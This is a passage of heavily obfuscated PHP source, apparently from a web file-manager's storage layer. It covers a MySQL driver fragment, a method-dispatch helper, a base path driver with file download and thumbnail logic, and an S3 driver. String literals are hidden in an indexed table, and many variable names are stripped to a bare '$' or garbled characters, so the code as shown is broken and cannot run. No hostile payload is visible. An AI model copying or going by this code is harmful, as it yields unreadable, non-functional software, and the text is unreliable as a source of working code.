($ as $Ѥ҇ => $ǡĥ) { $ǡĥ = $this->parseValue($ǡĥ); if (is_scalar($ǡĥ)) { $[] = $ǡĥ; } } $[] = $[260] . implode($[50], $) . $[915]; } array_walk($ࡂ, array($this, $[916])); $ɻ = ($ ? $[917] : $[918]) . $[919] . $this->parseTable($ڲ[$[279]]) . $[913] . implode($[50], $ࡂ) . $[920] . implode($[50], $); return $this->execute($ɻ); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ϸ =& $_SERVER[ﻻ]; $this->error = mysql_errno() . $ϸ[4] . mysql_error($this->_linkID); if ($ϸ[12] != $this->queryStr) { $this->error .= LNG($ϸ[48]) . $this->queryStr; } think_trace($this->error, $ϸ[12], $ϸ[49]); return $this->error; } public function escapeString($٢) { if ($this->_linkID) { return mysql_real_escape_string($٢, $this->_linkID); } else { return mysql_escape_string($٢); } } public function parseKey(&$ɢ㓱, $ݼɪ = true) { $ =& $_SERVER[ﻻ]; if ($ݼɪ) { $ɢ㓱 = $this->parseKeyCheck($ɢ㓱); } if ($ɢ㓱 != $[189] && !preg_match($[921], $ɢ㓱)) { $ɢ㓱 = $[385] . trim($ɢ㓱, $[385]) . $[385]; } return $ɢ㓱; } } goto f; E۾: function binCheckBigger($ژ˭, $) { return $ژ˭ > $; } $_SERVER[$_SERVER[][3]] = (strrev('0228').base64_decode('MzU='))+0;$_26hz="v091pk8dux7ycm5ajtqb2re6iwnsgfz4ho3liw408juac6zvlo5129sbgk3ytnh7qfxer";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $) { $ =& $_SERVER[ﻻ]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } else { think_exception(__CLASS__ . $[4] . $ . $[5]); } } } public static function __callStatic($֦Ҏ, $ݱ) { if (isset(self::$_methodListStatic[$֦Ҏ])) { return call_user_func_array(self::$_methodListStatic[$֦Ҏ], $ݱ); } else { if (method_exists(self, $֦Ҏ)) { return call_user_func_array(array(self, $֦Ҏ), $ݱ); } else { show_json("{$֦Ҏ}\50\51\40\156\157\x74\x20\x65\170\151\x73\x74\73", !1); } } } public static function addMethod($, $) { self::$_methodList[$] = $; } public static function addMethodStatic($, $ׯ) { self::$_methodListStatic[$] = $ׯ; } } goto FȈՔ; f: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[ﻻ]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($֧) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($֧, $_SERVER[ﻻ][8]); } return $֧; } public function iconvApp($Ú) { return $Ú; } public function iconvSystem($畑) { return $畑; } public function iconvTo($ϗ, $߸, $ֈ) { $̟ =& $_SERVER[ﻻ]; if (!$ϗ || !function_exists($̟[69])) { return $ϗ; } static $ = array(); $ޔ = $߸ . $̟[70] . $ֈ . $̟[71] . $ϗ; if (isset($[$ޔ])) { return $[$ޔ]; } if (function_exists($̟[72])) { $ = @mb_convert_encoding($ϗ, $ֈ, $߸); } else { $ = @iconv($߸, $ֈ, $ϗ); } $ = $ ? $ : $ϗ; if (strstr($, $̟[73])) { $ = str_replace($̟[73], $̟[11], $); } $[$߸ . $̟[70] . $ֈ . $̟[71] . $ϗ] = $; $[$ֈ . $̟[70] . $߸ . $̟[71] . $ϗ] = $ϗ; $[$ֈ . $̟[70] . $߸ . $̟[71] . $] = $ϗ; $[$߸ . $̟[70] . $ֈ . $̟[71] . $] = $; return $; } public function getPathInner($Ϯ) { $֎ = IO::init($Ϯ); return $֎->path; } public function getPathOuter($쓂) { $Ÿ =& $_SERVER[ﻻ]; $Ҳ = strlen(trim($this->pathBase, $Ÿ[8])); $쓂 = substr(trim($쓂, $Ÿ[8]), $Ҳ); return $this->pathDriver . $Ÿ[8] . ltrim($쓂, $Ÿ[8]); } public function isParentOf($, $) { $Ǚ =& $_SERVER[ﻻ]; $ = rtrim(strtolower($), $Ǚ[8]) . $Ǚ[8]; $ = rtrim(strtolower($), $Ǚ[8]) . $Ǚ[8]; $ʌ = strpos($, $) === 0; return $ʌ; } public function getType() { $ =& $_SERVER[ﻻ]; $ = str_replace($[74], $[12], get_class($this)); return strtolower($); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($, $怜) { $Ĵ =& $_SERVER[ﻻ]; $ɢԵ = rtrim($, $Ĵ[8]) . $Ĵ[8] . $怜; $ = $this->exist($ɢԵ); return $ ? $ɢԵ : !1; } public function setModifyTime($, $䚝 = '') { } public function renameObject($, $) { $ = $; $ = $this->getPathOuter($); $ = $this->pathFather($) . $; $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $); if ($) { IO::remove($); } return $ ? $ : !1; } public function tempFile($η = '', $ij = '') { if (!$η) { $η = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[ﻻ][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ = $ . $η; @touch($); if ($ij) { file_put_contents($, $ij); } return $; } public function tempFileRemve($Ő) { @unlink($Ő); @rmdir($this->pathFather($Ő)); } public function mkfile($Ȗ, $ꗆ = '', $˟ = REPEAT_RENAME) { } public function mkdir($Е, $쬗 = REPEAT_SKIP) { } public function delFile($Ʌ) { } public function delFolder($婺) { } public function copyFile($, $뺢) { } public function moveFile($ƾ, $嫐̑) { } public function remove($č) { if ($this->isFile($č)) { return $this->delFile($č); } return $this->delFolder($č); } public function rename($嘕Ӛ, $) { } public function exist($檒) { } public function findByHash($ӠϬ = '', $ɰ = '') { return !1; } public function isFile($Ӎ) { } public function isFolder($) { } public function size($٢) { } public function info($NJ) { } public function infoSimple($) { return $this->info($); } public function infoAuth($) { return $this->info($); } public function infoFull($) { return $this->info($); } public function infoWithChildren($߲) { $ =& $_SERVER[ﻻ]; static $ = array(); if (isset($[$߲])) { return $[$߲]; } $ = $this->info($߲); if ($ && $[$[33]] == $[75]) { $ = array($[76] => 0, $[77] => 0, $[78] => 0); $this->infoChildren($߲, $); $[$[76]] = $[$[76]]; $[$[79]] = array($[80] => $[$[77]], $[81] => $[$[78]]); $[$߲] = $; } return $; } public function listPath($ыנ, $ͺ = false) { } public function has($͇ǒ, $Β = false, $ = false) { } public function canRead($ښ) { } public function canWrite($ܡ) { } public function getContent($ؓ) { } public function setContent($, $Ɨ = '') { } protected function infoChildren($, &$Ȉ) { $ =& $_SERVER[ﻻ]; check_abort_echo(); $ԋ = $this->listPath($, !0); $ԋ = array_merge($ԋ[$[82]], $ԋ[$[83]]); foreach ($ԋ as $̤) { if ($̤[$[33]] == $[75]) { $Ȉ[$[78]]++; $ = $this->getPathInner($̤[$[84]]); $this->infoChildren($, $Ȉ); } else { $Ȉ[$[77]]++; $Ȉ[$[76]] += $̤[$[76]]; } } } public function fileSubstr($ץ, $, $dz) { } public function listAll($) { } public function listAllMake($ϸ, &$) { $ʟ =& $_SERVER[ﻻ]; check_abort_echo(); $ɔ = $this->listPath($ϸ, !0); if (!$ɔ) { return; } $ = array_merge($ɔ[$ʟ[82]], $ɔ[$ʟ[83]]); foreach ($ as $) { $ = $[$ʟ[33]] == $ʟ[75]; $ = array($ʟ[84] => $[$ʟ[84]], $ʟ[75] => $); if (isset($[$ʟ[76]])) { $[$ʟ[76]] = $[$ʟ[76]]; } if (isset($[$ʟ[85]])) { $[$ʟ[85]] = $[$ʟ[85]]; } if (!$) { $[] = $; continue; } $[] = $; $; = $[$ʟ[84]]; $ؾ = $this->pathDriver; if (substr($[$ʟ[84]], 0, strlen($ؾ)) == $ؾ) { $; = substr($;, strlen($ؾ)); } $this->listAllMake($;, $); } } public function listAllSimple($, $ = false) { $ӽ = $this->listAll($); return $this->listAllSimpleMake($ӽ, $this->getPathOuter($), $); } public function listAllSimpleMake($Į, $, $ҳ) { $ǰ =& $_SERVER[ﻻ]; $ = array(); $ = rtrim(get_path_father($), $ǰ[8]) . $ǰ[8]; foreach ($Į as $) { $Ǹ = array($ǰ[84] => $[$ǰ[84]], $ǰ[86] => $[$ǰ[84]], $ǰ[75] => $[$ǰ[75]]); if (isset($[$ǰ[76]]) && !$[$ǰ[75]]) { $Ǹ[$ǰ[76]] = $[$ǰ[76]]; } if (isset($[$ǰ[85]])) { $Ǹ[$ǰ[85]] = $[$ǰ[85]]; } if (is_array($[$ǰ[87]])) { $Ǹ[$ǰ[86]] = $[$ǰ[87]][$ǰ[84]]; $Ǹ[$ǰ[76]] = $[$ǰ[87]][$ǰ[76]]; $Ǹ[$ǰ[85]] = $[$ǰ[87]][$ǰ[85]]; } else { if (substr($[$ǰ[84]], 0, strlen($)) == $) { $Ǹ[$ǰ[84]] = substr($[$ǰ[84]], strlen($)); } } $Ò = $[$ǰ[75]] ? $ǰ[8] : $ǰ[12]; $Ǹ[$ǰ[86]] = rtrim($Ǹ[$ǰ[86]], $ǰ[8]) . $Ò; $Ǹ[$ǰ[84]] = $ǰ[8] . trim($Ǹ[$ǰ[84]], $ǰ[8]) . $Ò; if (!$ҳ) { $Õ = explode($ǰ[8], trim($Ǹ[$ǰ[84]], $ǰ[8])); $Ǹ[$ǰ[84]] = $ǰ[8] . implode($ǰ[8], array_slice($Õ, 1)) . $Ò; } $[] = $Ǹ; } return array_sort_by($, $ǰ[84]); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($ƣӨ, $㍿р, $ڟ) { } public function uploadFileByPath($ܸ, $«, $Ϯ = array()) { } public function isUploadServer() { $ =& $_SERVER[ﻻ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $[88]) { return !0; } return $GLOBALS[$[6]][$[89]][$[90]]; } public function isFileOutServer() { $ =& $_SERVER[ﻻ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[88]) { return !0; } return $GLOBALS[$[6]][$[89]][$[91]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($҉) { $ǯ =& $_SERVER[ﻻ]; if (!$this->isCdnHost()) { return $҉; } return str_replace(trim(get_url_root($҉), $ǯ[8]), trim($this->cdnHost, $ǯ[8]), $҉); } public function uploadLink($ޟ, $ṝ = 0) { $˄ =& $_SERVER[ﻻ]; if ($this->isUploadServer()) { return; } $ь = $this->getType(); if (!in_array($ь, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = 1024 * 1024 * 10; $ۮ = $ṝ <= $ ? $˄[92] : $˄[93]; $ګ֗ = (!$ṝ ? 1 : ceil($ṝ / pow(1024, 3))) * 3600 * 4; $ڷ = $this->{$ۮ}($ޟ, $ګ֗); if ($ڷ) { $ڷ[$˄[94]] = $ޟ; $ڷ[$˄[95]] = $ь; } return $ڷ; } public function uploadFormData($Ԡﯙ, $ = 3600) { } public function multiUploadFormData($Т, $ = 3600) { } public function download($뵉, $) { } public function ext($ǎ) { $ =& $_SERVER[ﻻ]; if (strpos($ǎ, $[8]) === -1) { $ = $ǎ; } else { $ = $this->pathThis($ǎ); } $Ο = $[12]; if (strstr($, $[10])) { $Ο = substr($, strrpos($, $[10]) + 1); $Ο = strtolower($Ο); } if (strlen($Ο) > 3 && preg_match($[96], $Ο, $)) { $Ο = $[12]; } return $Ο; } public function pathThis($) { $ˢ =& $_SERVER[ﻻ]; $ = str_replace($ˢ[97], $ˢ[8], rtrim($, $ˢ[8])); $ꛡ¢ = strrpos($, $ˢ[8]); if ($ꛡ¢ === !1) { return $; } return substr($, $ꛡ¢ + 1); } public function pathFather($ㆮ) { $ɪ =& $_SERVER[ﻻ]; $ㆮ = str_replace($ɪ[97], $ɪ[8], rtrim($ㆮ, $ɪ[8])); $؆ = strrpos($ㆮ, $ɪ[8]); if ($؆ === !1) { return $ɪ[12]; } return substr($ㆮ, 0, $؆ + 1); } public function hashSimple($¡) { $ =& $_SERVER[ﻻ]; if (!$¡) { return md5($[12]); } $㵲 = $this->size($¡); $Ë = 200; $ڡ = 50; if ($㵲 <= $Ë * $ڡ) { return $this->hashMd5($¡) . $㵲; } $ = intval($㵲 / $ڡ); $ԀŶ = $[12]; for ($ش = 0; $ش < $ڡ; $ش++) { $ԀŶ .= $this->fileSubstr($¡, $ * $ش, $Ë); } $ԀŶ .= $this->fileSubstr($¡, $㵲 - $Ë, $Ë); return md5($ԀŶ) . $㵲; } public static $md5Cache = array(); public function hashMd5($̰) { if (!$̰) { return md5($_SERVER[ﻻ][12]); } $̰ = $this->iconvSystem($̰); if (isset(self::$md5Cache[$̰])) { return self::$md5Cache[$̰]; } self::$md5Cache[$̰] = $this->hashMd5Shell($̰); if (!self::$md5Cache[$̰]) { self::$md5Cache[$̰] = @md5_file($̰); } return self::$md5Cache[$̰]; } private function hashMd5Shell($ǖ) { $ة =& $_SERVER[ﻻ]; if (!$ǖ) { return md5($ة[12]); } if (!function_exists($ة[98])) { return !1; } $ = array($ة[99], $ة[100]); $ž = Cache::get($ة[101]); if (!$ž) { $ҥ = BASIC_PATH . $ة[102]; $䚿 = md5_file($ҥ); $ž = $ة[103]; foreach ($ as $) { $݀ = shell_exec($ . "\40\42{$ҥ}\42"); if ($݀ && substr(trim($݀), 0, 32) == $䚿) { $ž = $; break; } } Cache::set($ة[101], $ž, 3600); } if ($ž == $ة[103]) { return !1; } $݀ = shell_exec($ž . "\40\42{$ǖ}\42"); $݀ = str_replace($ة[104], $ة[12], $݀); return substr($݀, 0, 32); } public function link($) { return $; } public function fileOut($ں, $ = false, $ӎރ = false, $̩ = '') { $ﷄ =& $_SERVER[ﻻ]; $this->cacheMethod(null, null); if (!$ں || !$this->exist($ں)) { show_json(LNG($ﷄ[105]), !1, $ӎރ); } $Ė = $this->getType() == $ﷄ[106]; $߭ = $GLOBALS[$ﷄ[6]][$ﷄ[89]][$ﷄ[107]][$ﷄ[108]]; $Ǡ = (double) $GLOBALS[$ﷄ[6]][$ﷄ[89]][$ﷄ[107]][$ﷄ[109]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ĭ = $this->infoFull($ں); $ɓ = $ĭ[$ﷄ[76]]; $ = gmdate($ﷄ[110], $ĭ[$ﷄ[85]]); $ = $ӎރ ? $ӎރ : $this->iconvApp($ĭ[$ﷄ[32]]); $ = 0; $䶇 = $ɓ - 1; $Ȩ = $this->ext($); if (in_array($Ȩ, array($ﷄ[111], $ﷄ[112], $ﷄ[113], $ﷄ[114]))) { $Ȩ = $ﷄ[115]; } if (in_array($Ȩ, array($ﷄ[116]))) { $Ȩ = $ﷄ[117]; } if (!$̩) { $̩ = md5($ . $this->hashSimple($ں)); } $̩ = $ﷄ[118] . $̩ . $ﷄ[118]; $ё = get_file_mime($Ȩ); $ = !0; $ = isset($_GET[$ﷄ[119]]) ? !1 : !0; if ($ === !1 && !mime_support($ё)) { $ё = $ﷄ[120]; } header($ﷄ[121]); header($ﷄ[122] . $ё); $˼ކ = rawurlencode($); $˼ކ = $ﷄ[118] . $˼ކ . $ﷄ[123] . $˼ކ; if ($) { header($ﷄ[124]); header($ﷄ[125] . $˼ކ); } else { if ($) { header($ﷄ[126] . $˼ކ); } } header($ﷄ[127] . gmdate($ﷄ[110], time() + 3600 * 24 * 30) . $ﷄ[128]); header($ﷄ[129]); header($ﷄ[130]); header($ﷄ[131]); if (isset($_SERVER[$ﷄ[132]]) && strtotime($_SERVER[$ﷄ[132]]) == $ĭ[$ﷄ[85]]) { header($ﷄ[133], !0, 304); die; } if (isset($_SERVER[$ﷄ[134]]) && $_SERVER[$ﷄ[134]] == $̩) { header($ﷄ[135] . $̩, !0, 304); die; } header($ﷄ[135] . $̩); header($ﷄ[136] . $ . $ﷄ[128]); header($ﷄ[137] . $); header($ﷄ[138]); header($ﷄ[139] . $ɓ); header($ﷄ[140]); if (!$ && $Ȩ == $ﷄ[141]) { if ($ɓ > 1024 * 1024 * 5) { die; } $ = $this->getContent($ں); $ = Html::clearSVG($); header($ﷄ[142] . strlen($)); echo $; die; } $ = strtolower($_SERVER[$ﷄ[143]]); if ($Ė && $ && $߭) { if (strstr($, $ﷄ[144])) { header($ﷄ[145] . $ں); } else { if (strstr($, $ﷄ[146])) { header($ﷄ[147] . $ں); } else { if (strstr($, $ﷄ[148])) { header($ﷄ[149] . $ں); } } } if ($Ǡ) { header($ﷄ[150] . $Ǡ); } return; } if (isset($_SERVER[$ﷄ[151]])) { if (preg_match($ﷄ[152], $_SERVER[$ﷄ[151]], $֒)) { $ = intval($֒[1]); $ = $ <= 0 ? 0 : ($ >= $䶇 ? $䶇 : $); if (!empty($֒[2])) { $ޱ̽ = intval($֒[2]); $䶇 = $ޱ̽ < $ ? $ : ($ޱ̽ >= $䶇 ? $䶇 : $ޱ̽); } } header($ﷄ[153]); header("\103\157\156\164\x65\x6e\164\x2d\x52\141\156\147\x65\72\x20\142\171\164\x65\x73\40{$}\x2d{$䶇}\x2f" . $ɓ); } else { header($ﷄ[154]); } header($ﷄ[155]); $ = !0; if ($_SERVER[$ﷄ[156]] == $ﷄ[157] && $ɓ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($ﷄ[158] . ($䶇 - $ + 1)); } if ($_SERVER[$ﷄ[159]] == $ﷄ[160]) { return; } $ = 1024 * 100; $ = 0; if ($Ǡ) { $ = intval(1000 * 1000 * ($ / $Ǡ)); } while ($ <= $䶇) { $ڡ = timeFloat(); check_abort(); $ = $䶇 - $ + 1; if ($ <= $) { $ = $; } echo $this->fileSubstr($ں, $, $); $ += $; if ($ == $) { $ = $䶇 + 1; } if ($) { $ = intval(1000 * 1000 * (timeFloat() - $ڡ)); $ĥ = $ - $; if ($ĥ > 5) { usleep($ĥ); } } } } public function fileOutServer($ϵ, $Ʋ = false, $ᰂ = false, $ˆ = '') { $this->fileOut($ϵ, $Ʋ, $ᰂ, $ˆ); } public function fileOutLink($) { header($_SERVER[ﻻ][161] . $); die; } public function cacheMethod($, $, $ф = null) { $ͫ =& $_SERVER[ﻻ]; static $ř = array(); $ሒ = $ ? ltrim($this->getPathOuter($), $ͫ[8]) : $ͫ[12]; $ئ = $ͫ[162] . $ . $ͫ[163] . rtrim($ሒ, $ͫ[8]); if (is_null($)) { $ř = array(); return; } if (is_null($)) { foreach ($ř as $ئ => $) { if (!strstr($ئ, $ͫ[162] . $ . $ͫ[164])) { continue; } unset($ř[$ئ]); } return; } if (!is_null($ф)) { $ř[$ئ] = $ф; return; } $ = isset($ř[$ئ]) ? $ř[$ئ] : null; if (!is_null($)) { return $; } $ = $this->{$}($); $ř[$ئ] = $; return $; } public function cacheMethodInfoSet($, $䄑, $ = false) { $ =& $_SERVER[ﻻ]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[165], $, $䄑); $this->cacheMethod($[166], $, $䄑 ? !1 : !0); if (is_array($)) { $this->cacheMethod($[167], $, $); } } public function fileOutImage($ϲ, $ = 250) { $Ϗ =& $_SERVER[ﻻ]; set_timeout(); if (substr($ϲ, 0, 4) == $Ϗ[148]) { $this->fileOutLink($ϲ); } $ = $this->info($ϲ); $ = $[$Ϗ[32]]; $Ț = !1; if (isset($GLOBALS[$Ϗ[168]]) && $GLOBALS[$Ϗ[168]][$Ϗ[84]] == $[$Ϗ[84]]) { $ԅ = $GLOBALS[$Ϗ[168]][$Ϗ[169]]; if (!$[$Ϗ[170]]) { $[$Ϗ[170]] = $GLOBALS[$Ϗ[168]]; } if (isset($ԅ[$Ϗ[171]])) { if ($ԅ[$Ϗ[171]] <= $ && $ԅ[$Ϗ[172]] <= $) { $Ț = !0; } } $ = $[$Ϗ[170]][$Ϗ[32]]; } if ($[$Ϗ[76]] <= 1024 * 50 || $Ț || !function_exists($Ϗ[173]) || $[$Ϗ[174]] == $Ϗ[175]) { return $this->fileOut($ϲ, !1, $); } if (isset($[$Ϗ[170]][$Ϗ[176]])) { $ = $[$Ϗ[170]][$Ϗ[176]]; } else { if (isset($[$Ϗ[170]][$Ϗ[177]])) { $ = $[$Ϗ[170]][$Ϗ[177]]; } } if (!$) { $ = md5("{$[$Ϗ[32]]}\137{$[$Ϗ[84]]}\x5f{$[$Ϗ[76]]}\137{$}"); } $ = "{$}\137{$}\56\160\x6e\147"; if (!($ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $Ϗ[178]))) { $뢦 = IO::mkdir(IO_PATH_SYSTEM_TEMP . $Ϗ[179]); } else { $뢦 = KodIO::make($); } if ($ = IO::fileNameExist($뢦, $)) { $ = KodIO::make($); return IO::fileOut($, !1, $); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $ = DATA_THUMB . $; del_file($); if (!@file_exists($)) { $Б = TEMP_FILES; if (!is_dir($Б)) { mk_dir($Б); } $˿ϙ = $Б . $ . $Ϗ[10] . $[$Ϗ[174]]; if (!@file_exists($˿ϙ)) { $˿ϙ = $this->download($ϲ, $˿ϙ); } ImageThumb::createThumb($˿ϙ, $, $, $ * 10); } if (!file_exists($) || filesize($) < 100) { return @file_exists($˿ϙ) ? IO::fileOut($˿ϙ) : $this->fileOut($ϲ); } if (!($ = IO::move($, $뢦))) { return IO::fileOut($); } del_file($); IO::fileOut($); } public function fileOutImageServer($Ȯ, $ګ = 250) { $this->fileOutImage($Ȯ, $ګ); } public function fileNameAuto($㴛, $, $Ϫ = REPEAT_RENAME, $֎ = false) { $ =& $_SERVER[ﻻ]; $ܣ = $㴛 === $[12] ? $ : rtrim($㴛, $[8]) . $[8] . $; if ($Ϫ == REPEAT_REPLACE || !$this->exist($ܣ) || $֎ && $Ϫ != REPEAT_RENAME_FOLDER) { return $; } if ($Ϫ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($); $ = $ == $[10] || $֎ ? $[12] : $; $䕟 = 1; $Н = substr($, 0, strlen($) - strlen($)); $Ւ = $Н . "\50{$䕟}\51{$}"; while ($this->exist(rtrim($㴛, $[8]) . $[8] . $Ւ)) { $Ւ = $Н . "\x28{$䕟}\51{$}"; $䕟++; } return $Ւ; } private function fileNameAutoList($ū, $, $ = false) { $Ս =& $_SERVER[ﻻ]; $Ĵ = $this->listPath($ū, !0); $Ĵ = array_merge($Ĵ[$Ս[82]], $Ĵ[$Ս[83]]); $Э = array_to_keyvalue($Ĵ, $Ս[12], $Ս[32]); $ = $Ս[10] . get_path_ext($); $ = $ == $Ս[10] || $ ? $Ս[12] : $; $ܼ = substr($, 0, strlen($) - strlen($)); $ѣȈ = $ܼ . "\x28\x30\51{$}"; for ($վ = 1; $վ <= count($Э) + 1; $վ++) { $ѣȈ = $ܼ . "\x28{$վ}\51{$}"; if (!in_array_not_case($ѣȈ, $Э)) { return $ѣȈ; } } return $ѣȈ; } public function listAllFiles($ԍ, $) { $ =& $_SERVER[ﻻ]; if (empty($)) { return array(); } $봑 = array_keys($); $驕ʶ = array(); $ԍ = trim($ԍ, $[8]); foreach ($ as $ => $) { $ = ltrim(substr(trim($, $[8]), strlen($ԍ)), $[8]); if (substr($, -1) == $[8]) { $ = rtrim($, $[8]) . $[8]; } $驕ʶ = array_merge($驕ʶ, $this->slicePath($)); } $ = array(); foreach (array_unique($驕ʶ) as $) { $Ӻ = array($[84] => $this->getPathOuter($[8] . $ԍ . $[8] . $), $[75] => 1, $[76] => 0); if (substr($, -1) != $[8]) { $Ӻ[$[75]] = 0; $ = $this->getPath($ԍ . $[8] . $); if (isset($[$])) { $ʘ = $[$]; if (isset($ʘ[$[76]])) { $Ӻ[$[76]] = intval($ʘ[$[76]]); } if (isset($ʘ[$[180]])) { $Ӻ[$[85]] = intval($ʘ[$[180]]); } } } $[] = $Ӻ; } return $; } public function slicePath($ݭ) { $ =& $_SERVER[ﻻ]; $ = explode($[8], trim($ݭ, $[8])); $ٿ = 0; do { ++$ٿ; $Ư[] = implode($[8], array_slice($, 0, $ٿ)) . $[8]; } while ($ٿ < count($)); $Ư[count($) - 1] = $ݭ; return $Ư; } public function getHost() { $Ä =& $_SERVER[ﻻ]; $´Լ = parse_url(trim($this->domain, $Ä[8])); $Åǐ = isset($´Լ[$Ä[181]]) ? $´Լ[$Ä[181]] : http_type(); $ݠܮ = isset($´Լ[$Ä[182]]) ? $´Լ[$Ä[182]] : $´Լ[$Ä[84]]; if (isset($´Լ[$Ä[183]])) { $ݠܮ .= $Ä[4] . $´Լ[$Ä[183]]; } return $Åǐ . $Ä[184] . $ݠܮ; } public function pathEncode($͋ρ) { $ގݮ =& $_SERVER[ﻻ]; return str_replace($ގݮ[185], $ގݮ[8], rawurlencode($͋ρ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\x34"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { set_timeout(); require_once SDK_DIR . $_SERVER[ﻻ][186]; parent::__construct(); $this->_init($); } public function _init($ܿ) { $this->config = $ܿ; foreach ($ܿ as $ => $ΛɊ) { if (isset($this->{$})) { $this->{$} = $ΛɊ; } } $this->endpoint = $ܿ[$_SERVER[ﻻ][187]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ = "\166\x34") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $ɧ =& $_SERVER[ﻻ]; $ث = $this->getBucketCors(); if (!$ث || !is_array($ث)) { return !1; } if ($ث[$ɧ[188]] != $ɧ[189] || $ث[$ɧ[190]] != $ɧ[189]) { return !1; } $ = array_map($ɧ[191], $ث[$ɧ[192]]); if (!is_array($)) { $ = array(); } $ǡ = array($ɧ[193], $ɧ[194], $ɧ[195], $ɧ[196], $ɧ[197]); $ǚ = array_diff($ǡ, $); return empty($ǚ); } public function mkfile($ݱ, $ɳ = '', $ = REPEAT_RENAME) { $ծ = $this->setContent($ݱ, $ɳ); if ($ծ !== !1) { return $this->getPathOuter($ݱ); } return !1; } public function mkdir($͝, $ = REPEAT_SKIP) { $ʜ =& $_SERVER[ﻻ]; if (empty($͝) && $͝ !== $ʜ[198]) { return !1; } if ($ && $this->_isFolder($͝)) { return $this->getPathOuter($͝); } $ؤյ = $this->setContent($͝, $ʜ[12], !0); if ($ؤյ !== !1) { return $this->getPathOuter($͝); } return !1; } public function copyFile($, $, $ؤ = array()) { $ =& $_SERVER[ﻻ]; $ = $this->objectMeta($); if (!$) { return !1; } if ($[$[76]] <= 1024 * 1024 * 200) { $א = $this->client->copyObject($this->bucket, $, $this->bucket, $, $[199], $ؤ); } else { $א = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $, $ؤ); } $א = $א ? $this->getPathOuter($) : !1; return $א; } public function moveFile($͒, $۪) { if ($this->copyFile($͒, $۪)) { $this->delFile($͒); return $this->getPathOuter($۪); } return !1; } public function delFile($ت) { return $this->client->deleteObject($this->bucket, $ت); } public function delFolder($) { $ȱ =& $_SERVER[ﻻ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ͧ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $ȱ[8]) . $ȱ[8]; if (!empty($) && $ !== $ȱ[198] && !in_array($, $ͧ[$ȱ[82]])) { $ͧ[$ȱ[82]][] = $; } $γō = $this->delByBatch($ͧ[$ȱ[83]]); if (!$γō) { return !1; } $γō = $this->delByBatch($ͧ[$ȱ[82]]); if (!$γō) { return !1; } return $this->delFile($); } private function delByBatch($ՉȰ) { foreach (array_chunk($ՉȰ, 1000) as $) { $и = $this->client->deleteObjects($this->bucket, $); if (!$и) { return !1; } } return !0; } public function rename($, $ͦƸ) { return $this->renameObject($, $ͦƸ); } public function listPath($͈, $ = false) { $ˆ =& $_SERVER[ﻻ]; $ = $this->fileList($͈, $ˆ[8], !0); foreach ($[$ˆ[82]] as $ => $ԯ) { $[$ˆ[82]][$] = $this->folderInfo($ԯ, $, $ԯ); } foreach ($[$ˆ[83]] as $ => $ԯ) { $[$ˆ[83]][$] = $this->fileInfo($ԯ[$ˆ[32]], $, $ԯ); } return $; } protected function infoChildren($ҷ, &$ք) { $ =& $_SERVER[ﻻ]; $珁 = $this->fileList($ҷ, $[12], !0); $ք[$[78]] += count($珁[$[82]]); $ք[$[77]] += count($珁[$[83]]); foreach ($珁[$[83]] as $ŭ) { if (!$ŭ || !$ŭ[$[76]]) { continue; } $ք[$[76]] += $ŭ[$[76]]; } } private function fileInfo($¶, $ = false, $á = array()) { $ =& $_SERVER[ﻻ]; $ = array($[32] => $this->pathThis($¶), $[84] => $this->getPathOuter($¶), $[33] => $[200], $[174] => $this->ext($¶), $[76] => isset($á[$[76]]) ? $á[$[76]] : 0); if ($) { return $; } $[$[201]] = $[$[85]] = 0; $[$[202]] = $[$[203]] = !0; if (empty($á)) { $á = $this->objectMeta($¶); if (!$á) { return $; } } if (isset($á[$[180]])) { $[$[85]] = $á[$[180]]; } if (isset($á[$[76]])) { $[$[76]] = $á[$[76]]; } return $; } private function folderInfo($η, $㮷 = false, $Ũ = array()) { $ƀ =& $_SERVER[ﻻ]; $ͦϝ = array($ƀ[32] => $this->pathThis($η), $ƀ[84] => $this->getPathOuter($ƀ[8] . $η), $ƀ[33] => $ƀ[75]); if ($㮷) { return $ͦϝ; } $ͦϝ[$ƀ[201]] = $ͦϝ[$ƀ[85]] = 0; $ͦϝ[$ƀ[202]] = $ͦϝ[$ƀ[203]] = !0; if ($η == 